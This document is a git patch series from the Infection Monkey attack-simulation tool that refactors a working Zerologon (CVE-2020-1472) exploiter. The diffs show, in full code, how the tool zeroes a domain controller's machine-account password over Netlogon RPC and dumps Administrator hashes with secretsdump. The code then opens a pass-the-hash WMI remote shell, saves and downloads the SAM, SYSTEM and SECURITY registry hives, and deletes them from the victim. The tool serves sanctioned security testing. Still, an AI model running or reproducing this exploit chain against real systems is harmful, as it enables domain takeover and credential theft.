self.zerologon_finger.get_dc_details(self.host) + self.DC_IP, self.DC_NAME, self.DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") # Connect to the DC's Netlogon service. - rpc_con = self.connect_to_dc(DC_IP) + rpc_con = self.connect_to_dc() # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. @@ -111,7 +111,7 @@ class ZerologonExploiter(HostExploiter): result = None for _ in range(0, self.MAX_ATTEMPTS): try: - result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME) + result = self.attempt_exploit(rpc_con) except nrpc.DCERPCSessionError as e: # Failure should be due to a STATUS_ACCESS_DENIED error. # Otherwise, the attack is probably not working. @@ -124,11 +124,11 @@ class ZerologonExploiter(HostExploiter): break self.report_login_attempt(result=False, - user=DC_NAME) + user=self.DC_NAME) if result['ErrorCode'] == 0: self.report_login_attempt(result=True, - user=DC_NAME) + user=self.DC_NAME) LOG.info("Exploit complete!") else: LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") @@ -141,7 +141,7 @@ class ZerologonExploiter(HostExploiter): # Restore DC's original password. if _exploited: - if self.restore_password(DC_HANDLE, DC_IP, DC_NAME): + if self.restore_password(): LOG.info("System exploited and password restored successfully.") else: LOG.info("System exploited but couldn't restore password!") @@ -153,46 +153,46 @@ class ZerologonExploiter(HostExploiter): def is_exploitable(self): return self.zerologon_finger.get_host_fingerprint(self.host) - def connect_to_dc(self, DC_IP): - binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + def connect_to_dc(self): + binding = epm.hept_map(self.DC_IP, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() rpc_con.bind(nrpc.MSRPC_UUID_NRPC) return rpc_con - def attempt_exploit(self, DC_HANDLE, rpc_con, DC_NAME): + def attempt_exploit(self, rpc_con): request = nrpc.NetrServerPasswordSet2() - request['PrimaryName'] = DC_HANDLE + '\x00' - request['AccountName'] = DC_NAME + '$\x00' + request['PrimaryName'] = self.DC_HANDLE + '\x00' + request['AccountName'] = self.DC_NAME + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator - request['ComputerName'] = DC_NAME + '\x00' + request['ComputerName'] = self.DC_NAME + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request) - def restore_password(self, DC_HANDLE, DC_IP, DC_NAME): + def restore_password(self): LOG.info("Restoring original password...") LOG.debug("DCSync; getting admin password's hashes.") - admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP) + admin_pwd_hashes = self.get_admin_pwd_hashes() try: if not admin_pwd_hashes: raise Exception("Couldn't extract admin password's hashes.") LOG.debug("Getting original DC password's nthash.") - original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes) + original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes) if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's nthash.") # Keep authenticating until successful. LOG.debug("Attempting password restoration.") for _ in range(0, self.MAX_ATTEMPTS): - rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash) + rpc_con = self.attempt_restoration(original_pwd_nthash) if rpc_con is not None: break @@ -205,15 +205,15 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.error(e) - def get_admin_pwd_hashes(self, DC_NAME, DC_IP): + def get_admin_pwd_hashes(self): options = self.OPTIONS_FOR_SECRETSDUMP.copy() - options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" - options['target_ip'] = DC_IP - options['dc_ip'] = DC_IP + options['target'] = '$@'.join([self.DC_NAME, self.DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" + options['target_ip'] = self.DC_IP + options['dc_ip'] = self.DC_IP dumped_secrets = self.get_dumped_secrets(options=options, - remote_name=DC_IP, - username=f"{DC_NAME}$") + remote_name=self.DC_IP, + username=f"{self.DC_NAME}$") user = 'Administrator' for secret in dumped_secrets: if user in secret: @@ -242,14 +242,14 @@ class ZerologonExploiter(HostExploiter): if nthash not in self._config.exploit_ntlm_hash_list: self._config.exploit_ntlm_hash_list.append(nthash) - def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes): - if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes): + def get_original_pwd_nthash(self, admin_pwd_hashes): + if not self.save_HKLM_keys_locally(admin_pwd_hashes): return options = self.OPTIONS_FOR_SECRETSDUMP.copy() for name in ['system', 'sam', 'security']: options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') - options['dc_ip'] = DC_IP + options['dc_ip'] = self.DC_IP options['just_dc'] = False dumped_secrets = self.get_dumped_secrets(options=options, @@ -264,13 +264,13 @@ class ZerologonExploiter(HostExploiter): dumped_secrets = dumper.dump().split('\n') return dumped_secrets - def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes): + def save_HKLM_keys_locally(self, admin_pwd_hashes): LOG.debug("Starting remote shell on victim.") - wmiexec = Wmiexec(ip=DC_IP, + wmiexec = Wmiexec(ip=self.DC_IP, username='Administrator', hashes=admin_pwd_hashes, - domain=DC_IP) + domain=self.DC_IP) remote_shell = wmiexec.get_remote_shell() if remote_shell: @@ -299,24 +299,24 @@ class ZerologonExploiter(HostExploiter): else: raise Exception("Could not start remote shell on DC.") - def attempt_restoration(self, DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash): + def attempt_restoration(self, original_pwd_nthash): # Connect to the DC's Netlogon service. - rpc_con = self.connect_to_dc(DC_IP) + rpc_con = self.connect_to_dc() plaintext = b'\x00'*8 ciphertext = b'\x00'*8 flags = 0x212fffff # Send challenge and authentication request. - server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, DC_HANDLE + '\x00', - DC_NAME + '\x00', plaintext) + server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.DC_HANDLE + '\x00', + self.DC_NAME + '\x00', plaintext) server_challenge = server_challenge_response['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, DC_HANDLE + '\x00', DC_NAME + '$\x00', + rpc_con, self.DC_HANDLE + '\x00', self.DC_NAME + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - DC_NAME + '\x00', ciphertext, flags + self.DC_NAME + '\x00', ciphertext, flags ) # It worked! @@ -335,9 +335,9 @@ class ZerologonExploiter(HostExploiter): request = NetrServerPasswordSet() request['PrimaryName'] = NULL - request['AccountName'] = DC_NAME + '$\x00' + request['AccountName'] = self.DC_NAME + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - request['ComputerName'] = DC_NAME + '\x00' + request['ComputerName'] = self.DC_NAME + '\x00' request["Authenticator"] = authenticator pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data From 435f10fb20f5d247a8989e875ca8a54d1a623112 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 2 Feb 2021 15:04:40 +0530 Subject: [PATCH 293/466] CR changes --- .../infection_monkey/exploit/HostExploiter.py | 5 +- monkey/infection_monkey/exploit/zerologon.py | 77 ++++++++++--------- monkey/infection_monkey/monkey.py | 5 +- .../network/zerologon_fingerprint.py | 34 ++++---- .../definitions/exploiter_classes.py | 2 +- .../cc/services/reporting/report.py | 40 +++++----- .../services/telemetry/processing/exploit.py | 17 ++-- 7 files changed, 93 insertions(+), 87 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 9188c4fa7..9defc4807 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -38,8 +38,9 @@ class HostExploiter(Plugin): # Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited # machines. This would then prevent any other exploits from being attempted on it. # Sample use case - Zerologon exploiter: - # Exploited machine gives us useful credentials which can be used, but machine isn't compromised by Zerologon - # on its own. Some other exploit using PTH needs to be exploit it. + # Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon + # on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey + # can propagate to it. SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True @property diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 89f072f3d..2951467da 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -3,8 +3,6 @@ Zerologon, CVE-2020-1472 Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. """ -from __future__ import division, print_function - import cmd import io import logging @@ -97,7 +95,7 @@ class ZerologonExploiter(HostExploiter): self.exploit_info['credentials'] = {} def _exploit_host(self): - self.DC_IP, self.DC_NAME, self.DC_HANDLE = self.zerologon_finger.get_dc_details(self.host) + self.dc_ip, self.dc_name, self.dc_handle = self.zerologon_finger._get_dc_details(self.host) if self.is_exploitable(): LOG.info("Target vulnerable, changing account password to empty string.") @@ -124,11 +122,11 @@ class ZerologonExploiter(HostExploiter): break self.report_login_attempt(result=False, - user=self.DC_NAME) + user=self.dc_name) if result['ErrorCode'] == 0: self.report_login_attempt(result=True, - user=self.DC_NAME) + user=self.dc_name) LOG.info("Exploit complete!") else: LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") @@ -154,7 +152,7 @@ class ZerologonExploiter(HostExploiter): return self.zerologon_finger.get_host_fingerprint(self.host) def connect_to_dc(self): - binding = epm.hept_map(self.DC_IP, nrpc.MSRPC_UUID_NRPC, + binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() @@ -163,14 +161,14 @@ class ZerologonExploiter(HostExploiter): def attempt_exploit(self, rpc_con): request = nrpc.NetrServerPasswordSet2() - request['PrimaryName'] = self.DC_HANDLE + '\x00' - request['AccountName'] = self.DC_NAME + '$\x00' + request['PrimaryName'] = self.dc_handle + '\x00' + request['AccountName'] = self.dc_name + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = b'\x00' * 8 authenticator['Timestamp'] = 0 request['Authenticator'] = authenticator - request['ComputerName'] = self.DC_NAME + '\x00' + request['ComputerName'] = self.dc_name + '\x00' request['ClearNewPassword'] = b'\x00' * 516 return rpc_con.request(request) @@ -207,13 +205,13 @@ class ZerologonExploiter(HostExploiter): def get_admin_pwd_hashes(self): options = self.OPTIONS_FOR_SECRETSDUMP.copy() - options['target'] = '$@'.join([self.DC_NAME, self.DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0" - options['target_ip'] = self.DC_IP - options['dc_ip'] = self.DC_IP + options['target'] = '$@'.join([self.dc_name, self.dc_ip]) # format for DC account - "NetBIOSName$@0.0.0.0" + options['target_ip'] = self.dc_ip + options['dc_ip'] = self.dc_ip dumped_secrets = self.get_dumped_secrets(options=options, - remote_name=self.DC_IP, - username=f"{self.DC_NAME}$") + remote_name=self.dc_ip, + username=f"{self.dc_name}$") user = 'Administrator' for secret in dumped_secrets: if user in secret: @@ -249,7 +247,7 @@ class ZerologonExploiter(HostExploiter): options = self.OPTIONS_FOR_SECRETSDUMP.copy() for name in ['system', 'sam', 'security']: options[name] = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') - options['dc_ip'] = self.DC_IP + options['dc_ip'] = self.dc_ip options['just_dc'] = False dumped_secrets = self.get_dumped_secrets(options=options, @@ -267,34 +265,39 @@ class ZerologonExploiter(HostExploiter): def save_HKLM_keys_locally(self, admin_pwd_hashes): LOG.debug("Starting remote shell on victim.") - wmiexec = Wmiexec(ip=self.DC_IP, + wmiexec = Wmiexec(ip=self.dc_ip, username='Administrator', hashes=admin_pwd_hashes, - domain=self.DC_IP) + domain=self.dc_ip) remote_shell = wmiexec.get_remote_shell() if remote_shell: _set_stdout_to_in_memory_text_stream() - # Save HKLM keys on victim. - remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + - 'reg save HKLM\\SAM sam.save && ' + - 'reg save HKLM\\SECURITY security.save') + try: + # Save HKLM keys on victim. + remote_shell.onecmd('reg save HKLM\\SYSTEM system.save && ' + + 'reg save HKLM\\SAM sam.save && ' + + 'reg save HKLM\\SECURITY security.save') - # Get HKLM keys locally (can't run these together because it needs to call do_get()). - remote_shell.onecmd('get system.save') - remote_shell.onecmd('get sam.save') - remote_shell.onecmd('get security.save') + # Get HKLM keys locally (can't run these together because it needs to call do_get()). + remote_shell.onecmd('get system.save') + remote_shell.onecmd('get sam.save') + remote_shell.onecmd('get security.save') - # Delete saved keys on victim. - remote_shell.onecmd('del /f system.save sam.save security.save') + # Delete saved keys on victim. + remote_shell.onecmd('del /f system.save sam.save security.save') - info = _unset_stdout_and_return_captured() - LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") + wmiexec.close() - wmiexec.close() + return True - return True + except Exception as e: + LOG.info(f"Exception occured: {str(e)}") + + finally: + info = _unset_stdout_and_return_captured() + LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") else: raise Exception("Could not start remote shell on DC.") @@ -308,15 +311,15 @@ class ZerologonExploiter(HostExploiter): flags = 0x212fffff # Send challenge and authentication request. - server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.DC_HANDLE + '\x00', - self.DC_NAME + '\x00', plaintext) + server_challenge_response = nrpc.hNetrServerReqChallenge(rpc_con, self.dc_handle + '\x00', + self.dc_name + '\x00', plaintext) server_challenge = server_challenge_response['ServerChallenge'] try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, self.DC_HANDLE + '\x00', self.DC_NAME + '$\x00', + rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.DC_NAME + '\x00', ciphertext, flags + self.dc_name + '\x00', ciphertext, flags ) # It worked! @@ -335,9 +338,9 @@ class ZerologonExploiter(HostExploiter): request = NetrServerPasswordSet() request['PrimaryName'] = NULL - request['AccountName'] = self.DC_NAME + '$\x00' + request['AccountName'] = self.dc_name + '$\x00' request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel - request['ComputerName'] = self.DC_NAME + '\x00' + request['ComputerName'] = self.dc_name + '\x00' request["Authenticator"] = authenticator pwd_data = impacket.crypto.SamEncryptNTLMHash(unhexlify(original_pwd_nthash), session_key) request["UasNewPassword"] = pwd_data diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index e001e6c43..f0d8ac5f0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -352,15 +352,14 @@ class InfectionMonkey(object): try: result = exploiter.exploit_host() if result: - self.successfully_exploited(machine, exploiter) if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET else\ - self.successfully_exploited(machine, exploiter, False) + self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET) return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except ExploitingVulnerableMachineError as exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) - self.successfully_exploited(machine, exploiter) + self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET) return True except FailedExploitationError as e: LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e) diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index 987cfec25..713cf50dd 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -17,14 +17,14 @@ class ZerologonFinger(HostFinger): MAX_ATTEMPTS = 2000 _SCANNED_SERVICE = "NTLM (NT LAN Manager)" - def get_host_fingerprint(self, host): + def get_host_fingerprint(self, host) -> bool: """ Checks if the Windows Server is vulnerable to Zerologon. """ - DC_IP, DC_NAME, DC_HANDLE = self.get_dc_details(host) + dc_ip, dc_name, dc_handle = self._get_dc_details(host) - if DC_NAME: # if it is a Windows DC + if dc_name: # if it is a Windows DC # Keep authenticating until successful. # Expected average number of attempts needed: 256. # Approximate time taken by 2000 attempts: 40 seconds. @@ -33,7 +33,7 @@ class ZerologonFinger(HostFinger): rpc_con = None for _ in range(0, self.MAX_ATTEMPTS): try: - rpc_con = self.try_zero_authenticate(DC_HANDLE, DC_IP, DC_NAME) + rpc_con = self.try_zero_authenticate(dc_handle, dc_ip, dc_name) if rpc_con is not None: break except Exception as ex: @@ -55,27 +55,27 @@ class ZerologonFinger(HostFinger): LOG.info('Error encountered; most likely not a Windows Domain Controller.') return False - def get_dc_details(self, host): - DC_IP = host.ip_addr - DC_NAME = self.get_dc_name(DC_IP) - DC_HANDLE = '\\\\' + DC_NAME - return DC_IP, DC_NAME, DC_HANDLE + def _get_dc_details(self, host) -> (str, str, str): + dc_ip = host.ip_addr + dc_name = self._get_dc_name(dc_ip) + dc_handle = '\\\\' + dc_name + return dc_ip, dc_name, dc_handle - def get_dc_name(self, DC_IP): + def _get_dc_name(self, dc_ip: str) -> str: """ Gets NetBIOS name of the Domain Controller (DC). """ try: nb = nmb.NetBIOS.NetBIOS() - name = nb.queryIPForName(ip=DC_IP) # returns either a list of NetBIOS names or None - return name[0] if name else None + name = nb.queryIPForName(ip=dc_ip) # returns either a list of NetBIOS names or None + return name[0] if name else '' except BaseException as ex: LOG.info(f'Exception: {ex}') - def try_zero_authenticate(self, DC_HANDLE, DC_IP, DC_NAME): + def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str): # Connect to the DC's Netlogon service. - binding = epm.hept_map(DC_IP, nrpc.MSRPC_UUID_NRPC, + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() rpc_con.connect() @@ -90,13 +90,13 @@ class ZerologonFinger(HostFinger): # Send challenge and authentication request. nrpc.hNetrServerReqChallenge( - rpc_con, DC_HANDLE + '\x00', DC_NAME + '\x00', plaintext) + rpc_con, dc_handle + '\x00', dc_name + '\x00', plaintext) try: server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, DC_HANDLE + '\x00', DC_NAME + + rpc_con, dc_handle + '\x00', dc_name + '$\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - DC_NAME + '\x00', ciphertext, flags + dc_name + '\x00', ciphertext, flags ) # It worked! diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index f59b010d3..221873fe8 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -156,7 +156,7 @@ EXPLOITER_CLASSES = { ], "title": "Zerologon Exploiter (UNSAFE)", "info": "CVE-2020-1472. Unsafe exploiter (changes the password of a Windows server domain controller account and " - "breaks communication with other domain controllers.) " + "might break communication with other domain controllers.) " "Exploits a privilege escalation vulnerability in a Windows server domain controller, " "using the Netlogon Remote Protocol (MS-NRPC).", "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/zerologon/" diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index c8993080f..41ca1e561 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -182,29 +182,33 @@ class ReportService: def get_stolen_creds(): creds = [] - # stolen creds from system info collectors - for telem in mongo.db.telemetry.find( - {'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, - {'data.credentials': 1, 'monkey_guid': 1} - ): - monkey_creds = telem['data']['credentials'] - formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds) - if formatted_creds: - creds.extend(formatted_creds) + stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems() + creds.extend(stolen_system_info_creds) - # stolen creds from exploiters - for telem in mongo.db.telemetry.find( - {'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, - {'data.info.credentials': 1, 'monkey_guid': 1} - ): - monkey_creds = telem['data']['info']['credentials'] - formatted_creds = ReportService._format_creds_for_reporting(telem, monkey_creds) - if formatted_creds: - creds.extend(formatted_creds) + stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems() + creds.extend(stolen_exploit_creds) logger.info('Stolen creds generated for reporting') return creds + @staticmethod + def get_credentials_from_system_info_telems(): + formatted_creds = [] + for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, + {'data.credentials': 1, 'monkey_guid': 1}): + creds = telem['data']['credentials'] + formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds)) + return formatted_creds + + @staticmethod + def get_credentials_from_exploit_telems(): + formatted_creds = [] + for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, + {'data.info.credentials': 1, 'monkey_guid': 1}): + creds = telem['data']['info']['credentials'] + formatted_creds.extend(ReportService._format_creds_for_reporting(telem, creds)) + return formatted_creds + @staticmethod def _format_creds_for_reporting(telem, monkey_creds): creds = [] diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index e0bbc087f..dd3c35ada 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -31,15 +31,14 @@ def process_exploit_telemetry(telemetry_json): def add_exploit_extracted_creds_to_config(telemetry_json): if 'credentials' in telemetry_json['data']['info']: creds = telemetry_json['data']['info']['credentials'] - - for user in creds: - ConfigService.creds_add_username(creds[user]['username']) - if 'password' in creds[user] and creds[user]['password']: - ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user] and creds[user]['lm_hash']: - ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: - ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) + for user in creds: + ConfigService.creds_add_username(creds[user]['username']) + if 'password' in creds[user] and creds[user]['password']: + ConfigService.creds_add_password(creds[user]['password']) + if 'lm_hash' in creds[user] and creds[user]['lm_hash']: + ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) + if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: + ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): From e357b3fbe6ffbb170fa0a3b566d023daabbfd6c9 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 9 Feb 2021 20:28:03 +0530 Subject: [PATCH 294/466] Changes after rebasing --- monkey/monkey_island/cc/services/config_schema/basic.py | 3 +-- .../cc/services/config_schema/definitions/exploiter_classes.py | 3 ++- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index ec01f8899..0fa0b80d4 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -27,8 +27,7 @@ BASIC = { "HadoopExploiter", "VSFTPDExploiter", "MSSQLExploiter", - "DrupalExploiter", - "ZerologonExploiter" + "DrupalExploiter" ] } } diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py index 221873fe8..32a99026d 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py @@ -154,7 +154,8 @@ EXPLOITER_CLASSES = { "enum": [ "ZerologonExploiter" ], - "title": "Zerologon Exploiter (UNSAFE)", + "title": "Zerologon Exploiter", + "safe": False, "info": "CVE-2020-1472. Unsafe exploiter (changes the password of a Windows server domain controller account and " "might break communication with other domain controllers.) " "Exploits a privilege escalation vulnerability in a Windows server domain controller, " From d7086f04aaef9ee09200cf7f26087b3bdde2e986 Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 9 Feb 2021 20:46:17 +0530 Subject: [PATCH 295/466] CR + testing changes --- .../infection_monkey/exploit/HostExploiter.py | 14 +- monkey/infection_monkey/exploit/zerologon.py | 608 ++++-------------- .../exploit/zerologon_utils/dump_secrets.py | 193 ++++++ .../exploit/zerologon_utils/options.py | 38 ++ .../exploit/zerologon_utils/remote_shell.py | 127 ++++ .../exploit/zerologon_utils/wmiexec.py | 68 ++ monkey/infection_monkey/monkey.py | 10 +- .../cc/services/reporting/report.py | 2 +- 8 files changed, 553 insertions(+), 507 deletions(-) create mode 100644 monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py create mode 100644 monkey/infection_monkey/exploit/zerologon_utils/options.py create mode 100644 monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py create mode 100644 monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 9defc4807..96187ae03 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -35,13 +35,10 @@ class HostExploiter(Plugin): # Usual values are 'vulnerability' or 'brute_force' EXPLOIT_TYPE = ExploitType.VULNERABILITY - # Specifies whether a machine, on which the exploit was successful, should be added to the set of exploited - # machines. This would then prevent any other exploits from being attempted on it. - # Sample use case - Zerologon exploiter: - # Exploited machine gives us useful credentials which can be used, but machine isn't fully compromised by Zerologon - # on its own. Some other exploiter using PTH needs to exploit it with the extracted credentials so that the monkey - # can propagate to it. - SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = True + # Determines if successful exploitation should stop further exploit attempts on that machine. + # Generally, should be True for RCE type exploiters and False if we don't expect the exploiter to run the monkey agent. + # Example: Zerologon steals credentials + RUNS_AGENT_ON_SUCCESS = True @property @abstractmethod @@ -109,4 +106,5 @@ class HostExploiter(Plugin): :param cmd: String of executed command. e.g. 'echo Example' """ powershell = True if "powershell" in cmd.lower() else False - self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell}) + self.exploit_info['executed_cmds'].append( + {'cmd': cmd, 'powershell': powershell}) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 2951467da..dc912f43d 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -3,105 +3,54 @@ Zerologon, CVE-2020-1472 Implementation based on https://github.com/dirkjanm/CVE-2020-1472/ and https://github.com/risksense/zerologon/. """ -import cmd import io import logging -import ntpath import os import sys -import time -import traceback from binascii import unhexlify +from typing import List, Optional import impacket from impacket.dcerpc.v5 import epm, nrpc, transport -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dtypes import NULL -from impacket.examples.secretsdump import (LocalOperations, LSASecrets, - NTDSHashes, RemoteOperations, - SAMHashes) -from impacket.smbconnection import SMBConnection from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets +from infection_monkey.exploit.zerologon_utils.options import \ + OptionsForSecretsdump +from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.network.zerologon_fingerprint import ZerologonFinger LOG = logging.getLogger(__name__) -_orig_stdout = None -_new_stdout = None - - -def _set_stdout_to_in_memory_text_stream(): - # set stdout to in-memory text stream, to capture info that would otherwise be printed - global _orig_stdout, _new_stdout - _orig_stdout = sys.stdout - _new_stdout = io.StringIO() - sys.stdout = _new_stdout - - -def _unset_stdout_and_return_captured(): - # set stdout to original and return captured output - global _orig_stdout, _new_stdout - sys.stdout = _orig_stdout - _new_stdout.seek(0) - return _new_stdout.read() - - class ZerologonExploiter(HostExploiter): _TARGET_OS_TYPE = ['windows'] _EXPLOITED_SERVICE = 'Netlogon' EXPLOIT_TYPE = ExploitType.VULNERABILITY - SHOULD_ADD_MACHINE_TO_EXPLOITED_SET = False + RUNS_AGENT_ON_SUCCESS = False MAX_ATTEMPTS = 2000 - OPTIONS_FOR_SECRETSDUMP =\ - { - 'aes_key': None, - 'bootkey': None, - 'can_process_SAM_LSA': True, - 'dc_ip': None, - 'debug': False, - 'exec_method': 'smbexec', - 'hashes': None, - 'history': False, - 'is_remote': True, - 'just_dc': True, # becomes False in a copy in get_original_pwd_nthash() - 'just_dc_ntlm': False, - 'just_dc_user': None, - 'k': False, - 'keytab': None, - 'no_lmhash': True, - 'no_pass': True, - 'ntds': None, - 'outputfile': None, - 'pwd_last_set': False, - 'resumefile': None, - 'sam': None, - 'security': None, - 'system': None, # sam, security, and 